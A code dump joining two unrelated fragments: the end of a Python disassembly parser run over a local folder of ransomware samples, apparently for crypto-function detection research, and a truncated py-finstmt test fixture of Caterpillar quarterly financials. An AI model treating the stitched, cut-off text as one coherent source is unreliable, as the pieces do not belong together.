len(l.strip()) != 0] # remove Summary info at end summary_line = None for i in range(1, len(asm_lines)): if asm_lines[-i] == 'Summary': summary_line = -i asm_lines = asm_lines[:summary_line] self.asm_lines = asm_lines return asm_lines def parse_asm(self): asm_lines = self.load_assembly() self.instructions = OrderedDict() self.labels = {} for line in asm_lines: line_components = re.split('\s+', line) address = int(line_components[0].replace(':', ''), 16) instruction = ' '.join(line_components[1:]) if len(line_components) >= 3: is_operand_address = re.match('^[0-9A-Fa-f]+$', line_components[2]) else: is_operand_address = False # check for call instructions if ( line_components[1] == 'call' and len(line_components) == 3 and is_operand_address ): call_address_str = line_components[2] call_address = int(call_address_str, 16) self.labels[call_address] = f'sub_{call_address_str}' # check for jump instructions if ( line_components[1].startswith('j') and len(line_components) == 3 and is_operand_address ): jump_address_str = line_components[2] jump_address = int(jump_address_str, 16) jump_label = f'.L{jump_address_str}' self.labels[jump_address] = jump_label # replace address reference with label instruction = instruction.replace(jump_address_str, jump_label) self.instructions[address] = instruction def get_functions(self): functions = [] # filter out any functions that refer to stubs for label_address in self.labels: label = self.labels[label_address] if not label.startswith('sub_'): continue if label_address not in self.instructions: continue first_function_instruction = self.instructions[label_address] if not first_function_instruction.startswith('jmp'): functions.append(label) return functions def dump_cleaned_asm(self, out_file_name): functions_dumped = [] with open(out_file_name, 'w') as out_file: for address in self.instructions: instruction = self.instructions[address] # check for a label if address in self.labels: label = self.labels[address] if label.startswith('sub_'): functions_dumped.append(label) label_line = f'{label}:\n' out_file.write(label_line) out_file.write(f' {instruction}\n') return functions_dumped collection = BinaryCollection('C:\\Users\\Adam\\Downloads\\CryptoRansomware', 'C:\\Users\\Adam\\Developer\\CryptoFunctionDetection\\windows_asm_dump\\dumped_output_ransomware') collection.process_all()
b6f72bb86b3a305dc12f17daf5ed00670c12a129
485b781c6000259f4f27a9380e75ef76b04dd79d
/tests/expectdata/statements/load_stockrow_cat_quarterly.py
0ea5ee39e665b3c4d3c63adda507d1df4f0a1294
[ "MIT" ]
permissive
azafrob/py-finstmt
5858693d2d78647c69dff46802d56a4e143ca9e1
7903bce83b31e4425ac680020bf7d3536ed1ed11
refs/heads/master
2023-08-25T02:39:50.898489
2020-12-30T22:57:10
2020-12-30T22:57:10
null
0
0
null
null
null
null
UTF-8
Python
false
false
28,768
py
import pandas as pd LOAD_STOCKROW_CAT_Q_INDEX_str = ["2009-12-31 00:00:00", "2010-03-31 00:00:00", "2010-06-30 00:00:00", "2010-09-30 00:00:00", "2010-12-31 00:00:00", "2011-03-31 00:00:00", "2011-06-30 00:00:00", "2011-09-30 00:00:00", "2011-12-31 00:00:00", "2012-03-31 00:00:00", "2012-06-30 00:00:00", "2012-09-30 00:00:00", "2012-12-31 00:00:00", "2013-03-31 00:00:00", "2013-06-30 00:00:00", "2013-09-30 00:00:00", "2013-12-31 00:00:00", "2014-03-31 00:00:00", "2014-06-30 00:00:00", "2014-09-30 00:00:00", "2014-12-31 00:00:00", "2015-03-31 00:00:00", "2015-06-30 00:00:00", "2015-09-30 00:00:00", "2015-12-31 00:00:00", "2016-03-31 00:00:00", "2016-06-30 00:00:00", "2016-09-30 00:00:00", "2016-12-31 00:00:00", "2017-03-31 00:00:00", "2017-06-30 00:00:00", "2017-09-30 00:00:00", "2017-12-31 00:00:00", "2018-03-31 00:00:00", "2018-06-30 00:00:00", "2018-09-30 00:00:00", "2018-12-31 00:00:00", "2019-03-31 00:00:00", "2019-06-30 00:00:00", "2019-09-30 00:00:00"] LOAD_STOCKROW_CAT_Q_INDEX = [pd.to_datetime(val) for val in LOAD_STOCKROW_CAT_Q_INDEX_str] LOAD_STOCKROW_CAT_Q_INDEX_DATA_DICT = dict( revenue=pd.Series( [7898000000.0, 8238000000.0, 10409000000.0, 11134000000.0, 12807000000.0, 12949000000.0, 14230000000.0, 15716000000.0, 17243000000.0, 15981000000.0, 17374000000.0, 16445000000.0, 16075000000.0, 13210000000.0, 14621000000.0, 13423000000.0, 14402000000.0, 13241000000.0, 14150000000.0, 13549000000.0, 14244000000.0, 12702000000.0, 12317000000.0, 10962000000.0, 11030000000.0, 9461000000.0, 10342000000.0, 9160000000.0, 9574000000.0, 9822000000.0, 11331000000.0, 11413000000.0, 12896000000.0, 12859000000.0, 14011000000.0, 13510000000.0, 14342000000.0, 13466000000.0, 14432000000.0, 12758000000.0], index=LOAD_STOCKROW_CAT_Q_INDEX ), cogs=pd.Series( [6090000000.0, 6127000000.0, 7606000000.0, 7979000000.0, 9569000000.0, 9260000000.0, 10512000000.0, 11666000000.0, 12966000000.0, 11441000000.0, 12478000000.0, 11836000000.0, 12097000000.0, 9828000000.0, 10958000000.0, 9952000000.0, 10716000000.0, 9597000000.0, 10350000000.0, 9791000000.0, 11604000000.0, 8910000000.0, 8822000000.0, 8014000000.0, 8387000000.0, 6974000000.0, 7567000000.0, 6674000000.0, 7425000000.0, 6960000000.0, 7978000000.0, 7841000000.0, 9127000000.0, 8732000000.0, 9604000000.0, 9207000000.0, 10176000000.0, 9193000000.0, 10133000000.0, 8758000000.0], index=LOAD_STOCKROW_CAT_Q_INDEX ), gross_profit=pd.Series( [1808000000.0, 2111000000.0, 2803000000.0, 3155000000.0, 3238000000.0, 3689000000.0, 3718000000.0, 4050000000.0, 4277000000.0, 4540000000.0, 4896000000.0, 4609000000.0, 3978000000.0, 3382000000.0, 3663000000.0, 3471000000.0, 3686000000.0, 3644000000.0, 3800000000.0, 3758000000.0, 2640000000.0, 3792000000.0, 3495000000.0, 2948000000.0, 2643000000.0, 2487000000.0, 2775000000.0, 2486000000.0, 2149000000.0, 2862000000.0, 3353000000.0, 3572000000.0, 3769000000.0, 4127000000.0, 4407000000.0, 4303000000.0, 4166000000.0, 4273000000.0, 4299000000.0, 4000000000.0], index=LOAD_STOCKROW_CAT_Q_INDEX ), rd_exp=pd.Series( [355000000.0, 402000000.0, 450000000.0, 510000000.0, 543000000.0, 525000000.0, 584000000.0, 584000000.0, 604000000.0, 587000000.0, 632000000.0, 634000000.0, 613000000.0, 562000000.0, 548000000.0, 469000000.0, 467000000.0, 508000000.0, 516000000.0, 533000000.0, 823000000.0, 524000000.0, 510000000.0, 513000000.0, 572000000.0, 508000000.0, 468000000.0, 453000000.0, 424000000.0, 425000000.0, 458000000.0, 461000000.0, 498000000.0, 443000000.0, 462000000.0, 479000000.0, 466000000.0, 435000000.0, 441000000.0, 431000000.0], index=LOAD_STOCKROW_CAT_Q_INDEX ), sga=pd.Series( [942000000.0, 932000000.0, 1059000000.0, 1148000000.0, 1109000000.0, 1099000000.0, 1257000000.0, 1360000000.0, 1487000000.0, 1340000000.0, 1517000000.0, 1471000000.0, 1591000000.0, 1390000000.0, 1421000000.0, 1319000000.0, 1417000000.0, 1292000000.0, 1437000000.0, 1446000000.0, 2354000000.0, 1249000000.0, 1318000000.0, 1129000000.0, 1255000000.0, 1088000000.0, 1123000000.0, 992000000.0, 1180000000.0, 1061000000.0, 1304000000.0, 1254000000.0, 1380000000.0, 1276000000.0, 1440000000.0, 1299000000.0, 1463000000.0, 1319000000.0, 1309000000.0, 1251000000.0], index=LOAD_STOCKROW_CAT_Q_INDEX ), dep_exp=pd.Series( [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], index=LOAD_STOCKROW_CAT_Q_INDEX ), other_op_exp=pd.Series( [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], index=LOAD_STOCKROW_CAT_Q_INDEX ), op_exp=pd.Series( [1680000000.0, 1603000000.0, 1826000000.0, 1968000000.0, 1947000000.0, 1856000000.0, 2117000000.0, 2291000000.0, 2317000000.0, 2217000000.0, 2280000000.0, 2013000000.0, 2940000000.0, 2164000000.0, 2106000000.0, 2070000000.0, 2234000000.0, 2246000000.0, 2325000000.0, 2366000000.0, 3591000000.0, 2090000000.0, 2162000000.0, 2023000000.0, 2818000000.0, 1993000000.0, 1990000000.0, 2005000000.0, 2747000000.0, 2482000000.0, 2169000000.0, 2063000000.0, 2382000000.0, 2019000000.0, 2240000000.0, 2168000000.0, 2283000000.0, 2066000000.0, 2086000000.0, 1980000000.0], index=LOAD_STOCKROW_CAT_Q_INDEX ), ebit=pd.Series( [229000000.0, 566000000.0, 997000000.0, 1172000000.0, 1276000000.0, 1824000000.0, 1423000000.0, 1727000000.0, 2070000000.0, 2388000000.0, 2681000000.0, 2581000000.0, 1026000000.0, 1246000000.0, 1467000000.0, 1372000000.0, 1488000000.0, 1450000000.0, 1538000000.0, 1509000000.0, -869000000.0, 1895000000.0, 1262000000.0, 904000000.0, -126000000.0, 492000000.0, 864000000.0, 505000000.0, -1231000000.0, 405000000.0, 1284000000.0, 1647000000.0, 1288000000.0, 2238000000.0, 2299000000.0, 2244000000.0, 1468000000.0, 2371000000.0, 2288000000.0, 2115000000.0], index=LOAD_STOCKROW_CAT_Q_INDEX ), int_exp=pd.Series( [88000000.0, 102000000.0, 81000000.0, 85000000.0, 75000000.0, 87000000.0, 90000000.0, 112000000.0, 107000000.0, 113000000.0, 110000000.0, 129000000.0, 115000000.0, 120000000.0, 120000000.0, 116000000.0, 109000000.0, 110000000.0, 120000000.0, 128000000.0, 126000000.0, 129000000.0, 125000000.0, 127000000.0, 126000000.0, 129000000.0, 130000000.0, 126000000.0, 120000000.0, 123000000.0, 121000000.0, 118000000.0, 169000000.0, 101000000.0, 102000000.0, 102000000.0, 99000000.0, 103000000.0, 103000000.0, 103000000.0], index=LOAD_STOCKROW_CAT_Q_INDEX ), gain_on_sale_invest=pd.Series( [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], index=LOAD_STOCKROW_CAT_Q_INDEX ), gain_on_sale_asset=pd.Series( [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], index=LOAD_STOCKROW_CAT_Q_INDEX ), impairment=pd.Series( [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], index=LOAD_STOCKROW_CAT_Q_INDEX ), ebt=pd.Series( [141000000.0, 464000000.0, 916000000.0, 1087000000.0, 1201000000.0, 1737000000.0, 1333000000.0, 1615000000.0, 1963000000.0, 2275000000.0, 2571000000.0, 2452000000.0, 911000000.0, 1126000000.0, 1347000000.0, 1256000000.0, 1379000000.0, 1340000000.0, 1418000000.0, 1381000000.0, -995000000.0, 1766000000.0, 1137000000.0, 777000000.0, -252000000.0, 363000000.0, 734000000.0, 379000000.0, -1351000000.0, 282000000.0, 1163000000.0, 1529000000.0, 1119000000.0, 2137000000.0, 2197000000.0, 2142000000.0, 1369000000.0, 2268000000.0, 2185000000.0, 2012000000.0], index=LOAD_STOCKROW_CAT_Q_INDEX ), tax_exp=pd.Series( [-91000000.0, 231000000.0, 209000000.0, 295000000.0, 233000000.0, 512000000.0, 318000000.0, 474000000.0, 416000000.0, 689000000.0, 872000000.0, 753000000.0, 214000000.0, 246000000.0, 387000000.0, 310000000.0, 376000000.0, 418000000.0, 419000000.0, 364000000.0, -509000000.0, 521000000.0, 335000000.0, 218000000.0, -158000000.0, 92000000.0, 184000000.0, 96000000.0, -180000000.0, 90000000.0, 361000000.0, 470000000.0, 2418000000.0, 472000000.0, 490000000.0, 415000000.0, 321000000.0, 387000000.0, 565000000.0, 518000000.0], index=LOAD_STOCKROW_CAT_Q_INDEX ), net_income=pd.Series( [232000000.0, 233000000.0, 707000000.0, 792000000.0, 968000000.0, 1225000000.0, 1015000000.0, 1141000000.0, 1547000000.0, 1586000000.0, 1699000000.0, 1699000000.0, 697000000.0, 880000000.0, 960000000.0, 946000000.0, 1003000000.0, 922000000.0, 999000000.0, 1017000000.0, -486000000.0, 1245000000.0, 802000000.0, 559000000.0, -94000000.0, 271000000.0, 550000000.0, 283000000.0, -1171000000.0, 192000000.0, 802000000.0, 1059000000.0, -1299000000.0, 1665000000.0, 1707000000.0, 1727000000.0, 1048000000.0, 1881000000.0, 1620000000.0, 1494000000.0], index=LOAD_STOCKROW_CAT_Q_INDEX ), cash=pd.Series( [4867000000.0, 3538000000.0, 3597000000.0, 2265000000.0, 3592000000.0, 4869000000.0, 10715000000.0, 3229000000.0, 3057000000.0, 2864000000.0, 5103000000.0, 5689000000.0, 5490000000.0, 5982000000.0, 6110000000.0, 6357000000.0, 6081000000.0, 5345000000.0, 7927000000.0, 6082000000.0, 7341000000.0, 7563000000.0, 7821000000.0, 6046000000.0, 6460000000.0, 5886000000.0, 6764000000.0, 6113000000.0, 7168000000.0, 9472000000.0, 10232000000.0, 9591000000.0, 8261000000.0, 7888000000.0, 8654000000.0, 8007000000.0, 7857000000.0, 7128000000.0, 7429000000.0, 7906000000.0], index=LOAD_STOCKROW_CAT_Q_INDEX ), st_invest=pd.Series( [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], index=LOAD_STOCKROW_CAT_Q_INDEX ), cash_and_st_invest=pd.Series( [4867000000.0, 3538000000.0, 3597000000.0, 2265000000.0, 3592000000.0, 4869000000.0, 10715000000.0, 3229000000.0, 3057000000.0, 2864000000.0, 5103000000.0, 5689000000.0, 5490000000.0, 5982000000.0, 6110000000.0, 6357000000.0, 6081000000.0, 5345000000.0, 7927000000.0, 6082000000.0, 7341000000.0, 7563000000.0, 7821000000.0, 6046000000.0, 6460000000.0, 5886000000.0, 6764000000.0, 6113000000.0, 7168000000.0, 9472000000.0, 10232000000.0, 9591000000.0, 8261000000.0, 7888000000.0, 8654000000.0, 8007000000.0, 7857000000.0, 7128000000.0, 7429000000.0, 7906000000.0], index=LOAD_STOCKROW_CAT_Q_INDEX ), receivables=pd.Series( [27162000000.0, 27070000000.0, 27169000000.0, 28250000000.0, 28849000000.0, 29348000000.0, 29997000000.0, 30034000000.0, 30803000000.0, 31632000000.0, 32584000000.0, 33257000000.0, 33911000000.0, 34164000000.0, 33812000000.0, 33724000000.0, 33499000000.0, 33889000000.0, 34190000000.0, 33176000000.0, 32772000000.0, 31588000000.0, 31413000000.0, 30462000000.0, 30507000000.0, 30852000000.0, 30396000000.0, 29453000000.0, 29088000000.0, 29587000000.0, 29732000000.0, 29836000000.0, 30725000000.0, 31029000000.0, 31299000000.0, 31171000000.0, 31899000000.0, 31716000000.0, 32150000000.0, 31072000000.0], index=LOAD_STOCKROW_CAT_Q_INDEX ), inventory=pd.Series( [6360000000.0, 6990000000.0, 7339000000.0, 9006000000.0, 9587000000.0, 10676000000.0, 11359000000.0, 14412000000.0, 14544000000.0, 16511000000.0, 17344000000.0, 17550000000.0, 15547000000.0, 15074000000.0, 13889000000.0, 13392000000.0, 12625000000.0, 12888000000.0, 13055000000.0, 13328000000.0, 12205000000.0, 12099000000.0, 11681000000.0, 11150000000.0, 9700000000.0, 9849000000.0, 9458000000.0, 9478000000.0, 8614000000.0, 9082000000.0, 9388000000.0, 10212000000.0, 10018000000.0, 10947000000.0, 11255000000.0, 11814000000.0, 11529000000.0, 12340000000.0, 12007000000.0, 12180000000.0], index=LOAD_STOCKROW_CAT_Q_INDEX ), def_tax_st=pd.Series( [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], index=LOAD_STOCKROW_CAT_Q_INDEX ), other_current_assets=pd.Series( [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], index=LOAD_STOCKROW_CAT_Q_INDEX ), total_current_assets=pd.Series( [27217000000.0, 26412000000.0, 27376000000.0, 28577000000.0, 31810000000.0, 34608000000.0, 40755000000.0, 36864000000.0, 37900000000.0, 40209000000.0, 44294000000.0, 44639000000.0, 42138000000.0, 42145000000.0, 40805000000.0, 40088000000.0, 38335000000.0, 37968000000.0, 41276000000.0, 39042000000.0, 38867000000.0, 38491000000.0, 38227000000.0, 35280000000.0, 33508000000.0, 33748000000.0, 33606000000.0, 31999000000.0, 31967000000.0, 35548000000.0, 36991000000.0, 37185000000.0, 36244000000.0, 37357000000.0, 38641000000.0, 38454000000.0, 38603000000.0, 39126000000.0, 39789000000.0, 39160000000.0], index=LOAD_STOCKROW_CAT_Q_INDEX ), gross_ppe=pd.Series( [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], index=LOAD_STOCKROW_CAT_Q_INDEX ), dep=pd.Series( [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], index=LOAD_STOCKROW_CAT_Q_INDEX ), net_ppe=pd.Series( [12386000000.0, 12057000000.0, 11763000000.0, 12065000000.0, 12539000000.0, 12219000000.0, 12430000000.0, 13397000000.0, 14395000000.0, 14571000000.0, 14928000000.0, 15509000000.0, 16461000000.0, 16276000000.0, 16352000000.0, 16588000000.0, 17075000000.0, 16716000000.0, 16690000000.0, 16431000000.0, 16577000000.0, 16277000000.0, 16136000000.0, 15955000000.0, 16090000000.0, 15935000000.0, 15916000000.0, 15680000000.0, 15322000000.0, 14727000000.0, 14420000000.0, 14187000000.0, 14155000000.0, 13912000000.0, 13752000000.0, 13607000000.0, 13574000000.0, 13259000000.0, 13172000000.0, 12842000000.0], index=LOAD_STOCKROW_CAT_Q_INDEX ), goodwill=pd.Series( [2734000000.0, 2772000000.0, 2777000000.0, 3458000000.0, 3419000000.0, 3402000000.0, 3385000000.0, 12307000000.0, 11448000000.0, 11368000000.0, 11556000000.0, 11538000000.0, 10958000000.0, 10715000000.0, 10578000000.0, 10686000000.0, 10552000000.0, 10495000000.0, 10367000000.0, 10011000000.0, 9770000000.0, 9383000000.0, 9413000000.0, 9387000000.0, 9436000000.0, 9451000000.0, 9329000000.0, 9178000000.0, 8369000000.0, 8338000000.0, 8374000000.0, 8371000000.0, 8311000000.0, 8539000000.0, 8288000000.0, 8209000000.0, 8114000000.0, 7998000000.0, 7944000000.0, 7772000000.0], index=LOAD_STOCKROW_CAT_Q_INDEX ), lt_invest=pd.Series( [105000000.0, 133000000.0, 154000000.0, 160000000.0, 164000000.0, 140000000.0, 123000000.0, 121000000.0, 133000000.0, 139000000.0, 124000000.0, 199000000.0, 272000000.0, 270000000.0, 288000000.0, 278000000.0, 272000000.0, 266000000.0, 259000000.0, 265000000.0, 257000000.0, 230000000.0, 229000000.0, 231000000.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], index=LOAD_STOCKROW_CAT_Q_INDEX ), def_tax_lt=pd.Series( [3930000000.0, 3711000000.0, 3505000000.0, 3916000000.0, 3424000000.0, 3307000000.0, 3366000000.0, 1928000000.0, 3737000000.0, 3583000000.0, 3717000000.0, 3506000000.0, 3558000000.0, 3598000000.0, 3693000000.0, 3526000000.0, 2147000000.0, 2101000000.0, 2200000000.0, 2131000000.0, 3143000000.0, 2780000000.0, 2914000000.0, 3005000000.0, 2489000000.0, 2486000000.0, 2536000000.0, 2579000000.0, 2790000000.0, 2940000000.0, 2866000000.0, 2845000000.0, 1693000000.0, 1687000000.0, 1626000000.0, 1288000000.0, 1439000000.0, 1378000000.0, 1473000000.0, 1372000000.0], index=LOAD_STOCKROW_CAT_Q_INDEX ), other_lt_assets=pd.Series( [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], index=LOAD_STOCKROW_CAT_Q_INDEX ), total_non_current_assets=pd.Series( [32821000000.0, 32424000000.0, 31417000000.0, 33065000000.0, 32210000000.0, 31779000000.0, 32856000000.0, 40903000000.0, 43318000000.0, 43699000000.0, 44544000000.0, 45902000000.0, 46832000000.0, 46598000000.0, 46570000000.0, 47184000000.0, 46561000000.0, 46429000000.0, 46551000000.0, 45446000000.0, 45814000000.0, 43999000000.0, 44015000000.0, 43689000000.0, 44834000000.0, 44559000000.0, 44694000000.0, 44403000000.0, 42737000000.0, 42001000000.0, 41519000000.0, 41375000000.0, 40718000000.0, 40657000000.0, 40346000000.0, 39755000000.0, 39906000000.0, 39600000000.0, 39398000000.0, 38833000000.0], index=LOAD_STOCKROW_CAT_Q_INDEX ), total_assets=pd.Series( [60038000000.0, 58836000000.0, 58793000000.0, 61642000000.0, 64020000000.0, 66387000000.0, 73611000000.0, 77767000000.0, 81218000000.0, 83908000000.0, 88838000000.0, 90541000000.0, 88970000000.0, 88743000000.0, 87375000000.0, 87272000000.0, 84896000000.0, 84397000000.0, 87827000000.0, 84488000000.0, 84681000000.0, 82490000000.0, 82242000000.0, 78969000000.0, 78342000000.0, 78307000000.0, 78300000000.0, 76402000000.0, 74704000000.0, 77549000000.0, 78510000000.0, 78560000000.0, 76962000000.0, 78014000000.0, 78987000000.0, 78209000000.0, 78509000000.0, 78726000000.0, 79187000000.0, 77993000000.0], index=LOAD_STOCKROW_CAT_Q_INDEX ), payables=pd.Series( [2993000000.0, 3431000000.0, 3975000000.0, 4970000000.0, 5856000000.0, 5990000000.0, 6858000000.0, 7524000000.0, 8161000000.0, 8360000000.0, 8470000000.0, 7978000000.0, 6753000000.0, 6221000000.0, 6343000000.0, 6280000000.0, 6560000000.0, 6731000000.0, 6860000000.0, 6778000000.0, 6515000000.0, 6328000000.0, 5862000000.0, 5206000000.0, 5023000000.0, 5101000000.0, 5104000000.0, 4713000000.0, 4614000000.0, 5302000000.0, 5778000000.0, 6113000000.0, 6487000000.0, 6938000000.0, 6831000000.0, 6788000000.0, 7051000000.0, 7198000000.0, 7022000000.0, 6141000000.0], index=LOAD_STOCKROW_CAT_Q_INDEX ), st_debt=pd.Series( [9784000000.0, 8622000000.0, 8927000000.0, 8271000000.0, 7981000000.0, 9691000000.0, 8456000000.0, 7508000000.0, 9648000000.0, 10762000000.0, 12055000000.0, 13326000000.0, 12391000000.0, 13246000000.0, 13871000000.0, 13522000000.0, 11031000000.0, 11290000000.0, 12936000000.0, 11102000000.0, 11501000000.0, 11972000000.0, 10875000000.0, 12335000000.0, 12844000000.0, 13893000000.0, 14343000000.0, 13488000000.0, 13965000000.0, 14557000000.0, 13377000000.0, 11089000000.0, 11031000000.0, 12150000000.0, 12470000000.0, 10332000000.0, 11553000000.0, 11542000000.0, 11514000000.0, 12318000000.0], index=LOAD_STOCKROW_CAT_Q_INDEX ), current_lt_debt=pd.Series( [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], index=LOAD_STOCKROW_CAT_Q_INDEX ), tax_liab_st=pd.Series( [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], index=LOAD_STOCKROW_CAT_Q_INDEX ), other_current_liab=pd.Series( [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], index=LOAD_STOCKROW_CAT_Q_INDEX ), total_current_liab=pd.Series( [18975000000.0, 18417000000.0, 19784000000.0, 20178000000.0, 22020000000.0, 23147000000.0, 23510000000.0, 25218000000.0, 28357000000.0, 28849000000.0, 31273000000.0, 31746000000.0, 29415000000.0, 28974000000.0, 29919000000.0, 29119000000.0, 27297000000.0, 27295000000.0, 29741000000.0, 27589000000.0, 27877000000.0, 26566000000.0, 25606000000.0, 25833000000.0, 26242000000.0, 26215000000.0, 27183000000.0, 25290000000.0, 26132000000.0, 27635000000.0, 28133000000.0, 25903000000.0, 26931000000.0, 27402000000.0, 28300000000.0, 26033000000.0, 28218000000.0, 27388000000.0, 27735000000.0, 27201000000.0], index=LOAD_STOCKROW_CAT_Q_INDEX ), lt_debt=pd.Series( [21847000000.0, 21548000000.0, 20226000000.0, 20337000000.0, 20437000000.0, 19895000000.0, 25926000000.0, 26781000000.0, 24944000000.0, 25191000000.0, 27261000000.0, 26526000000.0, 27752000000.0, 27240000000.0, 25680000000.0, 26015000000.0, 26719000000.0, 26801000000.0, 27307000000.0, 28180000000.0, 27784000000.0, 26803000000.0, 27445000000.0, 25208000000.0, 25169000000.0, 24470000000.0, 23980000000.0, 23622000000.0, 22818000000.0, 23725000000.0, 23815000000.0, 24835000000.0, 23847000000.0, 23165000000.0, 23699000000.0, 25441000000.0, 25000000000.0, 24240000000.0, 24764000000.0, 25588000000.0], index=LOAD_STOCKROW_CAT_Q_INDEX ), total_debt=pd.Series( [31631000000.0, 30170000000.0, 29153000000.0, 28608000000.0, 28418000000.0, 29586000000.0, 34382000000.0, 34289000000.0, 34592000000.0, 35953000000.0, 39316000000.0, 39852000000.0, 40143000000.0, 40486000000.0, 39551000000.0, 39537000000.0, 37750000000.0, 38091000000.0, 40243000000.0, 39282000000.0, 39285000000.0, 38775000000.0, 38320000000.0, 37543000000.0, 38013000000.0, 38363000000.0, 38323000000.0, 37110000000.0, 36783000000.0, 38282000000.0, 37192000000.0, 35924000000.0, 34878000000.0, 35315000000.0, 36169000000.0, 35773000000.0, 36553000000.0, 35782000000.0, 36278000000.0, 37906000000.0], index=LOAD_STOCKROW_CAT_Q_INDEX ), deferred_rev=pd.Series( [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], index=LOAD_STOCKROW_CAT_Q_INDEX ), tax_liab_lt=pd.Series( [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 